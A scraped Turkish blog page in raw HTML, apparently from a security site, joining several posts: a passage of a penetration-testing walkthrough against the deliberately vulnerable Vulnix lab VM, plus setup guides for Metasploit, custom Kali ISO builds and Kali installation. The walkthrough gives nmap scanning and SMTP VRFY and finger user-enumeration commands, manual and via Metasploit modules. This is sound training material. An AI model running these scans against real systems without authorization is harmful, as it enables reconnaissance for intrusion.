src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3Wb7X65MWVsXUEP7yewA8oTRPtBqqy5_M85wcvGZGb9RzxCqTzzf8eJy52GdYxHXaFT2NhZ9X9648uS8Cpcv87A7hy48I7FTsJ3hLK4Ln3x-1PJfRiRVBgvAWv7EeSEDl_FrOdifs4775/s640/2.png" width="640" /></a></div><div style="text-align: justify;">Vulnix sanal makinesinin bilgileri aşağıda görüldüğü gibidir. </div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_8NZYw2iiZ1OOV-a4KSsCOyczGzBhxhojgGBhZXODTm0cv2p1P-AIM3HbLWBW8ygS_9pJOkCBPjlp7yFDrzAz_Dl6nngtjewyCr-UE-1swujxXUo5NfbKJpXGxbNVN6HXXj2QMa94tE9-/s320/1.png" width="209" /></a></div><div style="text-align: justify;">Burada dikkat edilecek husus ağ bağlantısının NAT modunda bırakıldığıdır. Dolayısıyla host bilgisayarınızda NAT ağı olarak hangi ağı belirttiyseniz Vulnix o ağdan otomatik olarak IP alacaktır. Bu ağın hangi subnet olduğunu görmek için Workstation üzerinde <b><i>Edit>Virtual Network Editor</i></b> bağlantısından sonra görülebilecek aşağıdaki gibi bir ekran yeterlidir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s1600/33.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="356" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkawseadPnD6V5nwpU7Y30wZebgKRd6wqH2nUiEQfnx847M7MKa5uSnknpHsTPtiVMsIBwGLGZhAeOa9tYv8IPKAd1Icu7y8sGJNVcKSq07RDCKMkxQqJAZYItUCMcXKtZaGP8p-We-88S/s400/33.png" width="400" /></a></div><div style="text-align: justify;">Örneğimizde Vulnix imajının 192.168.1.0/24 aralığından IP adresi alacağı görülmektedir. Ortamımız hazır olduğuna göre klasik adımları takip ederek sızma testine başlayabiliriz.</div><h3><span style="color: #cc0000;"><br />1. Keşif ve IP/Port Tarama</span></h3><div style="text-align: justify;">Bu adımda Nmap aracı kullanılarak Vulnix imajının hangi IP adresini aldığı ve üzerindeki servis veren açık portlar belirlenecektir. Bunun için BT5 üzerinden parametreleri aşağıdaki gibi ayarlanmış bir Nmap taraması yapılabilir.</div><h4>root@agguvenligi:~# nmap -sT -n --top-ports 1000 -T4 -O --open 192.168.1.0/24</h4><div style="text-align: justify;">Tarama sonrası ekran görüntüsü aşağıdaki gibi olmaktadır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiD1uw9kptuAqDQ4Uon1KfZSsC37buKdLvFjQf_cL1hyphenhyphenZlQLSt2flipo3DEl0WUcjS_fpg5utgMJLPoJKKM7ejKbAUMsrPqLfCgfPDnHGRLiuwJHC-t-tI8wZ-EqkuRJJ1oP3Zk_LqN9bLD/s1600/2013-08-24_203659.png" /></a></div><h3><span style="color: #cc0000;"><br />2. Servisler Üzerinden Bilgi Toplama</span></h3><h3>a. SMTP</h3><div style="text-align: justify;">SMTP sunucular üzerinde kullanılabilecek VRFY komutu sunucu üzerindeki mevcut kullanıcıların varlığını belirlemek amacıyla kullanılabilir. Komut aşağıdaki gibi kullanılabilir. Eğer kullanıcı sistem üzerinde mevcutsa 252 cevabı dönerken bulunamaması durumunda 550 cevabı alınacaktır.</div><div style="text-align: justify;"><h4>root@agguvenligi:~# telnet hedef_ip_adresi 25<br />vrfy geçerli_kullanıcı_adı<br />vrfy geçersiz_kullanıcı_adı</h4><div>Bu işlemi belirli bir sözlük kullanarak otomatik olarak gerçekleştirmek için Metasploit içersindeki <b><i>auxiliary/scanner/smtp/smtp_enum</i></b> modülü kullanılabilir.</div><div><h4>msf> use auxiliary/scanner/smtp/smtp_enum<br />msf auxiliary(smtp_enum) > set RHOSTS 192.168.1.101<br />msf auxiliary(smtp_enum) > run</h4></div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9H2j6W60EDEN80JkzZDWm6xC0ag02eLWXY2HW9EZeXX0cn9GJ3Re0lseatcHrvfGT4TbEsNWE5TIXNhhC9NQM8nNXRHP-J5UgDCiJ-I7Q4onmBaVJjzBEh2wm-yBJ8CwA6zCSGE_hGwHp/s1600/2013-08-24_214721.png" /></a></div><br /></div><div>Manuel olarak yapılan örnekte <b>user </b>ve <b>vulnix </b>kullanıcılarının sistem üzerinde olduğu görülmektedir.</div><div class="separator" style="clear: both; text-align: center;"></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s1600/2013-08-24_204409.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="169" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLZe-vuxsISUQtExHEjtNsQQaNwHPiTOX-wkKRCTIASvwmVufW4lZJ2vFO3IvSjmUWqzCKd80gDfpUIo-6r7cLsrDeFMxjI7ZEcDByRkCv0axhEEt7dhiO_Cc5_OZowpmUIt8c1zxLWAG3/s640/2013-08-24_204409.png" width="640" /></a></div></div></div><h3>b. FINGER</h3><div style="text-align: justify;">Bilgi toplama için kullanılabilecek diğer bir servis sistem üzerinde açık olduğu görülen finger servisidir. Bu servis Linux sistem üzerindeki mevcut kullanıcılara dair bilgileri sunan tehlike arz edebilecek bir servistir. Manuel olarak yapılan kontrolde </div><h4>root@agguvenligi:~# finger -l -p vulnix@192.168.1.101</h4><div style="text-align: justify;">komutu çalıştırılarak <b>vulnix </b>kullanıcısına dair bilgiler finger servisinin verdiği şekliyle aşağıda görüldüğü gibi olmaktadır. Sonuçtan bu kullanıcının sistemde kabuk çalıştırmasının mümkün olduğu görülmektedir.<br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisNel6pWW_V8grZNDUJik2VA9Y7XOHZhQRr9bZ8h-27zzRhwRDpMbM2DcfBCDXs5Uy7bXox4tyxSxNOK4-4bNBymjaFYYsxg1EGu9hyphenhyphenvxlLe4PgROsEAAjrAOqzdc2rhFS_MyzE7JEUJcL/s1600/2013-08-24_204843.png" /></a></div><div class="separator" style="clear: both; text-align: justify;">Bir sözlük yardımıyla bu işlemi otomatik hale getirmek için aşağıdaki gibi bir komut seti kullanılabilir. Bu şekilde sözlük içerisindeki bütün kullanıcı adlarının finger servisi ile hedef sistem üzerinde var olup olmadığı keşfedilebilir.</div><h4>root@agguvenligi:~# cat /opt/metasploit/apps/pro/msf3/data/wordlists/unix_users.txt | while read username; do finger -l -p $username@192.168.1.101 | grep -Ev "101|no such user|No one logged on|No mail|No Plan"; done</h4><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s1600/2013-08-25_104440.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjeWjV-gOCsPjYRCdudwimnLEZ_ouJxj7Tesdr6mQNEN2FGsr-cIDkRsbYVhbPkQSXsRUeuE8nQ1mKMRiK3VEaj4OtMK1DhAyoFKwGZ50WR4zU0qcSNQ9DS8kc_zH_DUTOf0kI8eB51Ria/s640/2013-08-25_104440.png" width="640" /></a></div><div class="separator" style="clear: both; text-align: left;"><span style="text-align: justify;">Finger servisine yönelik sözlük saldırısı için Metasploit içerisinde mevcut bir modül olan </span><b style="text-align: justify;"><i>auxiliary/scanner/finger/finger_users</i></b><span style="text-align: justify;"> modülü kullanılabilir. Kullanımı şu şekildedir:</span></div><div><h4>msf> use auxiliary/scanner/finger/finger_users<br />msf auxiliary(finger_users) > set RHOSTS 192.168.1.101<br />RHOSTS => 192.168.1.101<br />msf auxiliary(finger_users) > run</h4></div></div><div class="separator" style="clear: both; text-align: center;"></div>

Sızma Testlerinde Hedef Olarak Linux ve Vulnix Kılavuzu #1

Zafiyet tarama ve bulunan zafiyetlerin sızma testleri ile doğrulanması güvenliğe proaktif açıdan bakılmasının en önemli sonuçlarındandır. Bu...

Kali Linux - Metasploit Framework Servisinin Çalıştırılması

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiILShbio9vcbi7inh-qLEwhSZ0LpTPZ7vAbfOlwp6t2JRhdzvvlPDxDoskSymy8z3WzV8CvBQTC3VqOF3we0YqHGH6QeZf6rnqh0NfYc0NQVuW7buKFtfthjxkUBPtYKa5WSLbqG-aDOKY/s1600/msf_startup.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiILShbio9vcbi7inh-qLEwhSZ0LpTPZ7vAbfOlwp6t2JRhdzvvlPDxDoskSymy8z3WzV8CvBQTC3VqOF3we0YqHGH6QeZf6rnqh0NfYc0NQVuW7buKFtfthjxkUBPtYKa5WSLbqG-aDOKY/s1600/msf_startup.png" /></a></div>Kali Linux, <b><i>Network Servisleri Politikaları</i></b> gereğince veritabanı servisleri de dahil olmak üzere herhangi bir ağ servisi içermemektedir. Dolayısıyla Metasploit'i veritabanı desteği ile beraber çalıştırmak için aşağıdaki yapılandırmalar uygulanmalıdır.<br /><a name="more"></a></div><h2>PostgreSQL servisinin başlatılması</h2>Metasploit, PostgreSQL veritabanını kullandığı için öncelikle bu servisin çalıştırılması gerekir.<br /><h4># service postgresql start</h4><b>netstat </b>komutu çıktısı ile PostgreSQL servisinin <b>5432 </b>portundan çalıştığı teyit edilebilir.<br /><h4>State Recv-Q Send-Q Local Address:Port Peer Address:Port<br />LISTEN 0 128 :::22 :::*<br />LISTEN 0 128 *:22 *:*<br />LISTEN 0 128 127.0.0.1:5432 *:*<br />LISTEN 0 128 ::1:5432 :::*</h4><h2>Metasploit servisinin başlatılması</h2><div style="text-align: justify;">Servis ilk başlatıldığında <b>msf3 </b>adında veritabanı ve kullanıcısı oluşturmaktadır. Ayrıca Metasploit RPC ve Web sunucusuda başlatılmaktadır.</div><h4>#service metasploit start</h4><h2>Msfconsole'un başlatılması</h2><div style="text-align: justify;">PostgreSQL ve Metasploit başlatıldıktan sonra msfconsole çalıştırılarak <b>db_status </b>komutu ile veritabanı bağlantısı teyit edilebilir.</div><h4>msfconsole<br />msf > db_status<br />[*] postgresql connected to msf3<br />msf ></h4><h2>Metasploit'i başlangıçta çalışacak şekilde yapılandırmak</h2><span style="text-align: justify;">PostgreSQL ve Metasploit</span><span style="text-align: justify;"> servislerini başlangıçta çalışacak şekilde yapılandırmak için </span><b>update-rc.d</b> komutu aşağıdaki şekli ile kullanılabilir.<br /><h4># update-rc.d postgresql enable<br /># update-rc.d metasploit enable</h4>

Kali Linux - Metasploit Framework Servisinin Çalıştırılması

Kali Linux, Network Servisleri Politikaları gereğince veritabanı servisleri de dahil olmak üzere herhangi bir ağ servisi içermemektedir. Do...

Kali Linux - İsteğe Bağlı Dağıtımı Oluşturma ve Farklı Masaüstü Ortamlarının Kullanımı

<div style="text-align: justify;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioaA4bSbbKq4vV534YbGKShAnKnRVRMPI6kMtD2SVXv9YP2HNyvvXFjyT5C-W6meNCiDh7PQYNUJGAVaLJ41zgtLgjjzUaag5C8Sem0WDnKJBshTQpMqipfuMIWxfFT5cC9hb6N_mTRGob/s1600/kali-desktop.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioaA4bSbbKq4vV534YbGKShAnKnRVRMPI6kMtD2SVXv9YP2HNyvvXFjyT5C-W6meNCiDh7PQYNUJGAVaLJ41zgtLgjjzUaag5C8Sem0WDnKJBshTQpMqipfuMIWxfFT5cC9hb6N_mTRGob/s200/kali-desktop.png" width="200" /></a></div>Kali Linux istenilen şekilde oluşturabilecek kalıp dosyaları üretmeye imkan tanımaktadır. Bu şekilde örneğin farklı masaüstü ortamına sahip dağıtımlar oluşturulabilir. Bunun için ön gereksinim olarak çalışan bir Kali ortamı önerilmektedir.<br />Öncelikle ağ bağlantısı sağlanmış sistem üzerinde aşağıdaki komutlar ile kurulum ortamı hazırlanır.<br /><br /><a name="more"></a><br /></div><div><h4># apt-get install git live-build cdebootstrap<br /># git clone git://git.kali.org/cdimage.kali.org<br /># cd cdimage.kali.org/live/<br /># lb config</h4></div><div style="text-align: justify;"><b>config </b>dizini içerisinden de görülebileceği ve bağlantıdan daha detaylı bilgi edinilebileceği üzere çok farklı özelleştirme seçenekleri mevcuttur. <b>config/package-lists/kali.list.chroot</b> içerisinde Kali ISO içerisinde yer alacak paketlerin belirtimi gerçekleştirilmektedir. Dolayısıyla istenen paketlerin konulacağı (örneğin farklı masaüstü ortamı) alan burasıdır.</div><div style="text-align: justify;">farklı bir masaüstü ortamı kurulumu için bu dosya içerisindeki aşağıdaki alan bulunduktan sonra aşağısındaki mevcut yapılandırmalar etkisizleştirilir.</div><div style="text-align: justify;"><h4># Graphical desktops depending on the architecture<br />#<br /># You can replace all the remaining lines with a list of the<br /># packages required to install your preferred graphical desktop<br /># or you can just comment everything except the packages of your<br /># preferred desktop.</h4></div><div style="text-align: justify;">Sonrasında istenen masaüstüne ait yapılandırma belirtimi yapılır. Örneğin XFCE'ye ait yapılandırma şu şekildedir.</div><div style="text-align: justify;"><h4>kali-defaults<br />kali-root-login<br />desktop-base<br />xfce4</h4></div><div style="text-align: justify;">ISO üretimine başlanmadan önce mimari seçimi gerçekleştirilir ve sonrasında süreç başlatılır.</div><b><i>32 bit için</i></b><br /><h4># lb config --architecture i386</h4><b><i>64 bit için</i></b><br /><h4># lb config --architecture amd64</h4><div>ile mimari belirtildikten sonra oluşturma işlemi başlatılır.<br /><h4># lb build</h4></div>

Kali Linux - İsteğe Bağlı Dağıtımı Oluşturma ve Farklı Masaüstü Ortamlarının Kullanımı

Kali Linux istenilen şekilde oluşturabilecek kalıp dosyaları üretmeye imkan tanımaktadır. Bu şekilde örneğin farklı masaüstü ortamına sahip ...

Kali Linux - Kurulum "The King is dead. Long live the King."

<div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oWilGE6G27rYdoprDTxtDbSzK2IrmCMJ2pWg1Kn6zYaT9PLX_QweiX30HJDotq56VZ88xeRS4NcmPjOofsRT4D5yfcC_N8bdZtyyOIs_914tULZHy-mSdiKEgqoYE6m2FVRHlhc8RJuJ/s1600/kali-home-large-slider2.jpg" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0oWilGE6G27rYdoprDTxtDbSzK2IrmCMJ2pWg1Kn6zYaT9PLX_QweiX30HJDotq56VZ88xeRS4NcmPjOofsRT4D5yfcC_N8bdZtyyOIs_914tULZHy-mSdiKEgqoYE6m2FVRHlhc8RJuJ/s320/kali-home-large-slider2.jpg" width="320" /></a></div><div style="text-align: justify;">Sızma testi gerçekleştirenlerin sıklıkla alet çantasında yer alan, hatta alet çantasını oluşturan <b>Backtrack </b>dağıtımının son sürümünde sonra yeni bir isim ile dağıtımın hayatını devam ettireceği daha önce duyurulmuştu. <b>Kali Linux</b> olarak yeni ismi ile dağıtımına başlanan bu yeni sürümde en büyük yenilik olarak tamamen <b>Debian </b>ve <b>FHS  </b>(Filesystem Hierarchy Standard) ile dizin hiyerarşisine uyumlu olması olarak gösterilmektedir. Son kullanıcı açısında bu da kullanılacak araçlara erişim için <b>/pentest</b> dizini altında dolaşmaya gerek kalmadan herhangi bir yerden istenilen araçlara erişimi mümkün kılmaktadır. Bu notta genel adımları ile <b>Kali Linux</b> dağıtımının kurulumu adım adım ele alınmaya çalışılacaktır. Dağıtım ile ilgili hazırlanan teaser ise aşağıdaki gibi...<br /><a name="more"></a>Öncelikle dağıtım <a href="http://docs.kali.org/downloading/download-official-kali-linux-images" target="_blank">bağlantıdan </a>temin edilebilir. Bağlantıda farklı mimariler için kalıp dosyalarının yanı sıra hazır Vmware sanal makineleri de bulunmaktadır. Minimum sistem gereksinimleri şu şekildedir.</div><div><div style="text-align: justify;"><ul><li>8 GB disk alanı</li><li>512 MB RAM.</li><li>CD-DVD sürücü veya USB boot desteği</li></ul>amd64 mimarisi için gerekli ISO indirildikten sonra yeni sanal makine oluşturulup bu kalıptan boot etmesi sağlanır. Canlı olarak çalıştırılabileceği gibi tam kurulumda <b>Install </b>seçeneği ile sağlanabilir.</div></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFNq9BuxS6DixdGkEZEtK_ZLPU4ceJuJf7nCYoL8cn4PaqeBV8xDsUegwKmYtHSpI8gKwXUCuk68qFSVdhCduzsD9YThKWT9Ew-HFAc09gwGI-l1zjCdoEmlfTbudT6v9KtbtHRHfLkWHp/s1600/Kali-2013-03-13-17-14-36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjFNq9BuxS6DixdGkEZEtK_ZLPU4ceJuJf7nCYoL8cn4PaqeBV8xDsUegwKmYtHSpI8gKwXUCuk68qFSVdhCduzsD9YThKWT9Ew-HFAc09gwGI-l1zjCdoEmlfTbudT6v9KtbtHRHfLkWHp/s400/Kali-2013-03-13-17-14-36.png" width="400" /></a></div><div>Sonraki adımlarda sistem ve klavye dili seçimleri gerçekleştirilir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy1hAuhfGIS4x-uafHKvUamfJrSG0S_Vz224VuXNllkJsVCw1wHD1wTNmh4OwT0aTpcTJdtuuqwIwZmHtnug94sj-4Inif0Dft1YQD6zKCtcyi2p4g9xnMarIBiWpgNQffS5RxgMmXQoIq/s1600/Kali-2013-03-13-17-14-57.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy1hAuhfGIS4x-uafHKvUamfJrSG0S_Vz224VuXNllkJsVCw1wHD1wTNmh4OwT0aTpcTJdtuuqwIwZmHtnug94sj-4Inif0Dft1YQD6zKCtcyi2p4g9xnMarIBiWpgNQffS5RxgMmXQoIq/s400/Kali-2013-03-13-17-14-57.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1BeGe2xa0cc1cAMSv3KmwCdF0lkdVagkB6yuK7c-vRRnfdL6hcSaHfEkyMdb-pulmtfPvRryzJYMwHsR1-6Z4KolfwvRzjwm0qRAATsC5XMueo2yBTttfBKVfUByV-2JgL4UB8uaGACdS/s1600/Kali-2013-03-13-17-16-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1BeGe2xa0cc1cAMSv3KmwCdF0lkdVagkB6yuK7c-vRRnfdL6hcSaHfEkyMdb-pulmtfPvRryzJYMwHsR1-6Z4KolfwvRzjwm0qRAATsC5XMueo2yBTttfBKVfUByV-2JgL4UB8uaGACdS/s400/Kali-2013-03-13-17-16-16.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCzsps1qC7izMwFXV4k4JFYyLh63IcnUIlisW5Bg-pCTetC9gQ8fqVofURCM4A6jVir0wFC0IFEmaKgvKpSHpGVfxJfWvFajUCrze_TPuGa-d2cftZ-HbdbXwdUdlSY25EDpdhVrkCn-9j/s1600/Kali-2013-03-13-17-16-37.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCzsps1qC7izMwFXV4k4JFYyLh63IcnUIlisW5Bg-pCTetC9gQ8fqVofURCM4A6jVir0wFC0IFEmaKgvKpSHpGVfxJfWvFajUCrze_TPuGa-d2cftZ-HbdbXwdUdlSY25EDpdhVrkCn-9j/s400/Kali-2013-03-13-17-16-37.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSjfanFovIy-1wfIwddVso6PvCihTPXsrJYlMBB0l6b4rCZtGUyq3QGLfFT-oIXIViSGF06FPcD-_hDMtCxZWRBA-B-W1qB-7ScPZoEkMgf8bR_zKQqMwZRsbBOzl6NJExDyWeFqlV9VkD/s1600/Kali-2013-03-13-17-16-55.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSjfanFovIy-1wfIwddVso6PvCihTPXsrJYlMBB0l6b4rCZtGUyq3QGLfFT-oIXIViSGF06FPcD-_hDMtCxZWRBA-B-W1qB-7ScPZoEkMgf8bR_zKQqMwZRsbBOzl6NJExDyWeFqlV9VkD/s400/Kali-2013-03-13-17-16-55.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: left;">Ek bileşenlerin ön yüklemesinin tamamlanması beklenir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidvUZd57Bt8H3_PjOvUgoEBvZ_kdXoz5Hmxdi43Jx29FQys0ta5t2ym2MnE03R107gQsKkZUoed5DEFcDSotO3ehtTw-VnqM8B4W3btorjj26RcH-FM_DEnOZBsH5PFZmLZSYB71XJqdSV/s1600/Kali-2013-03-13-17-17-14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEidvUZd57Bt8H3_PjOvUgoEBvZ_kdXoz5Hmxdi43Jx29FQys0ta5t2ym2MnE03R107gQsKkZUoed5DEFcDSotO3ehtTw-VnqM8B4W3btorjj26RcH-FM_DEnOZBsH5PFZmLZSYB71XJqdSV/s400/Kali-2013-03-13-17-17-14.png" width="400" /></a></div><div>Bilgisayar ve etki alanı girişi yapılır.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjABIh_iU3hggtCzjNlKA8drI-deT0ltminrqLo6b2jMqLDTQ9tDsZ03Dn8uZViDwtu6OmT3leNiCVT_bm2SLh9vADaveSwqTH6nRZejKFIexSJH_rHNZFrYdzKu4TlyuiumT8DmctSOD4u/s1600/Kali-2013-03-13-17-20-00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjABIh_iU3hggtCzjNlKA8drI-deT0ltminrqLo6b2jMqLDTQ9tDsZ03Dn8uZViDwtu6OmT3leNiCVT_bm2SLh9vADaveSwqTH6nRZejKFIexSJH_rHNZFrYdzKu4TlyuiumT8DmctSOD4u/s400/Kali-2013-03-13-17-20-00.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiha26pGqucYwPsHEgxRFHKIiqsMTTS5V6ikfJQhOOaSfb7HFPDO7cqOBoc30BBQbTPby8Zvwb0CYH8xyqTsAQOuDqKikqVwgpICJb6UWygpOnqMGs_oXpQOyyDA-hzogBxnWIBE5yHlOND/s1600/Kali-2013-03-13-17-20-16.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiha26pGqucYwPsHEgxRFHKIiqsMTTS5V6ikfJQhOOaSfb7HFPDO7cqOBoc30BBQbTPby8Zvwb0CYH8xyqTsAQOuDqKikqVwgpICJb6UWygpOnqMGs_oXpQOyyDA-hzogBxnWIBE5yHlOND/s400/Kali-2013-03-13-17-20-16.png" width="400" /></a></div><div>Root kullanıcısının parolası belirlenir.</div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCFkfxNnuaQssIU-sNRMYHau7XuoexxWDJN02cP7anKQywegmHBpMeIx_jCp6oYPMch11gDr1WhXEujj-8llDkNUBZCdFMbeghxvbhn5d-C4bVATwHwz5aEXTp4wpve_KaRF8wVtLJvAeu/s1600/Kali-2013-03-13-17-20-36.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCFkfxNnuaQssIU-sNRMYHau7XuoexxWDJN02cP7anKQywegmHBpMeIx_jCp6oYPMch11gDr1WhXEujj-8llDkNUBZCdFMbeghxvbhn5d-C4bVATwHwz5aEXTp4wpve_KaRF8wVtLJvAeu/s400/Kali-2013-03-13-17-20-36.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tkuLJjcOfiZ9T37EPzvNIQ2Qqby9-NuPXSQq3GlrDkjePswAs3jJHf-H9zK13r1iI8HezhLAwBnj8Vw8PcZNXvz3rkHplyz8EmDieMHGg5qtQZbCdciYHfR2FeWJ-6zz8qLVMDKeVG34/s1600/Kali-2013-03-13-17-20-45.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-tkuLJjcOfiZ9T37EPzvNIQ2Qqby9-NuPXSQq3GlrDkjePswAs3jJHf-H9zK13r1iI8HezhLAwBnj8Vw8PcZNXvz3rkHplyz8EmDieMHGg5qtQZbCdciYHfR2FeWJ-6zz8qLVMDKeVG34/s400/Kali-2013-03-13-17-20-45.png" width="400" /></a></div><div class="separator" style="clear: both; text-align: justify;">Kurulumun hard disk üzerinde ne şekilde yapılacağı belirlenir. Burada bütün hard diski LVM ile beraber kullanacak ve bunu diski şifreleyerek gerçekleştirecek seçenek seçilmiştir.</div><div class="separator" style="clear: both; text-align: center;"><a 